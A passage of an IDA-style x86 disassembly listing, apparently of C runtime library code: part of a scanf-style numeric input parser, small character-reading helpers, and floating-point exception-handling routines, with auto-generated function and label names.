		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C328
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C534
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C534, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C534, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C534, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C534, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C328
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CCA0, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB2A8, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CCA0, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 26503FBh
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
